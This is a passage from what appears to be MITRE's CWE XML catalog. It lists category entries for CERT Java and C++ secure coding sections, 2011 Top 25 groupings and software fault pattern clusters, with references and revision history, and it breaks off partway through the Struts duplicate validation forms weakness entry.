                    <Category ID="857" Name="CERT Java Secure Coding Section 12 - Input Output (FIO)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Input
					Output (FIO) section of the CERT Java Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>12. Input Output (FIO)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/12.+Input+Output+%28FIO%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="858" Name="CERT Java Secure Coding Section 13 - Serialization (SER)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Serialization (SER) section of the CERT Java Secure Coding Standard. Since not
					all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>13. Serialization (SER)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/13.+Serialization+%28SER%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="859" Name="CERT Java Secure Coding Section 14 - Platform Security (SEC)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Platform Security (SEC) section of the CERT Java Secure Coding Standard. Since
					not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>14. Platform Security (SEC)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/14.+Platform+Security+%28SEC%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="860" Name="CERT Java Secure Coding Section 15 - Runtime Environment (ENV)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Runtime
					Environment (ENV) section of the CERT Java Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>15. Runtime Environment (ENV)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/15.+Runtime+Environment+%28ENV%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="861" Name="CERT Java Secure Coding Section 49 - Miscellaneous (MSC)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Miscellaneous (MSC) section of the CERT Java Secure Coding Standard. Since not
					all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>49. Miscellaneous (MSC)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/49.+Miscellaneous+%28MSC%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="864" Name="2011 Top 25 - Insecure Interaction Between Components" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Insecure
					Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most
					Dangerous Software Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2011 CWE/SANS Top 25 Most Dangerous Software
						Errors</Reference_Title>
					          <Reference_Date>2011-06-27</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-06-25</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="865" Name="2011 Top 25 - Risky Resource Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Risky Resource
					Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2011 CWE/SANS Top 25 Most Dangerous Software
						Errors</Reference_Title>
					          <Reference_Date>2011-06-27</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-06-25</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="866" Name="2011 Top 25 - Porous Defenses" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Porous Defenses"
					section of the 2011 CWE/SANS Top 25 Most Dangerous Software
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2011 CWE/SANS Top 25 Most Dangerous Software
						Errors</Reference_Title>
					          <Reference_Date>2011-06-27</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-06-25</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="867" Name="2011 Top 25 - Weaknesses On the Cusp" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are not part of the general Top 25,
					but they were part of the original nominee list from which the Top 25 was
					drawn.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title> 2011 CWE/SANS Top 25 Most Dangerous Software
						Errors</Reference_Title>
					          <Reference_Date>2011-06-27</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-06-25</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="869" Name="CERT C++ Secure Coding Section 01 - Preprocessor (PRE)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>01. Preprocessor (PRE)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="870" Name="CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Declarations and Initialization (DCL) section of the CERT C++ Secure Coding
					Standard. Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>02. Declarations and Initialization (DCL)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="871" Name="CERT C++ Secure Coding Section 03 - Expressions (EXP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>03. Expressions (EXP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="872" Name="CERT C++ Secure Coding Section 04 - Integers (INT)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>04. Integers (INT)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/04.+Integers+%28INT%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="873" Name="CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>05. Floating Point Arithmetic (FLP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="874" Name="CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Arrays
					and the STL (ARR) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>06. Arrays and the STL (ARR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/06.+Arrays+and+the+STL+%28ARR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="875" Name="CERT C++ Secure Coding Section 07 - Characters and Strings (STR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Characters and Strings (STR) section of the CERT C++ Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>07. Characters and Strings (STR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/07.+Characters+and+Strings+%28STR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="876" Name="CERT C++ Secure Coding Section 08 - Memory Management (MEM)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Memory
					Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>08. Memory Management (MEM)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="877" Name="CERT C++ Secure Coding Section 09 - Input Output (FIO)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Input
					Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>09. Input Output (FIO)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/09.+Input+Output+%28FIO%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="878" Name="CERT C++ Secure Coding Section 10 - Environment (ENV)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>10. Environment (ENV)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/10.+Environment+%28ENV%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="879" Name="CERT C++ Secure Coding Section 11 - Signals (SIG)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Signals
					(SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to
					specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>11. Signals (SIG)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/11.+Signals+%28SIG%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="880" Name="CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding
					Standard. Since not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>12. Exceptions and Error Handling (ERR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/12.+Exceptions+and+Error+Handling+%28ERR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="881" Name="CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the Object
					Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since
					not all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>13. Object Oriented Programming (OOP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/13.+Object+Oriented+Programming+%28OOP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="882" Name="CERT C++ Secure Coding Section 14 - Concurrency (CON)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Concurrency (CON) section of the CERT C++ Secure Coding Standard. Since not all
					rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>14. Concurrency (CON)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/14.+Concurrency+%28CON%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="883" Name="CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not
					all rules map to specific weaknesses, this category may be
					incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>49. Miscellaneous (MSC)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="885" Name="SFP Cluster: Risky Values" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Risky Values cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="886" Name="SFP Cluster: Unused entities" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Unused entities cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="887" Name="SFP Cluster: API" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the API cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="889" Name="SFP Cluster: Exception Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Exception Management cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="890" Name="SFP Cluster: Memory Access" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Memory Access cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="891" Name="SFP Cluster: Memory Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Memory Management cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="892" Name="SFP Cluster: Resource Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Resource Management cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="893" Name="SFP Cluster: Path Resolution" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Path Resolution cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="894" Name="SFP Cluster: Synchronization" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Synchronization cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="895" Name="SFP Cluster: Information Leak" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Information Leak cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="896" Name="SFP Cluster: Tainted Input" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Tainted Input cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="897" Name="SFP Cluster: Entry Points" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Entry Points cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="898" Name="SFP Cluster: Authentication" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Authentication cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="899" Name="SFP Cluster: Access Control" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Access Control cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="901" Name="SFP Cluster: Privilege" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Privilege cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="902" Name="SFP Cluster: Channel" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Channel cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="903" Name="SFP Cluster: Cryptography" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Cryptography cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="904" Name="SFP Cluster: Malware" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Malware cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="905" Name="SFP Cluster: Predictability" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Predictability cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="906" Name="SFP Cluster: UI" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the UI cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="907" Name="SFP Cluster: Other" Status="Incomplete">
			      <Description>
				        <Description_Summary>This category identifies Software Fault Patterns (SFPs) within
					the Other cluster.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category></Categories><Weaknesses>
                    <Weakness ID="102" Name="Struts: Duplicate Validation Forms" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application uses multiple validation forms with the same
					name, which might cause the Struts Validator to validate a form that the
					programmer does not expect.</Description_Summary>
				        <Extended_Description>
					          <Text>If two validation forms have the same name, the Struts Validator
						arbitrarily chooses one of the forms to use for input validation and
						discards the other. This decision might not correspond to the programmer's
						expectations, possibly leading to resultant weaknesses. Moreover, it
						indicates that the validation logic is not up-to-date, and can indicate that
						other, more subtle validation errors are present.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>694</Relationship_Target_ID>
					          <!--Use of Multiple Resources with Duplicate Identifier-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
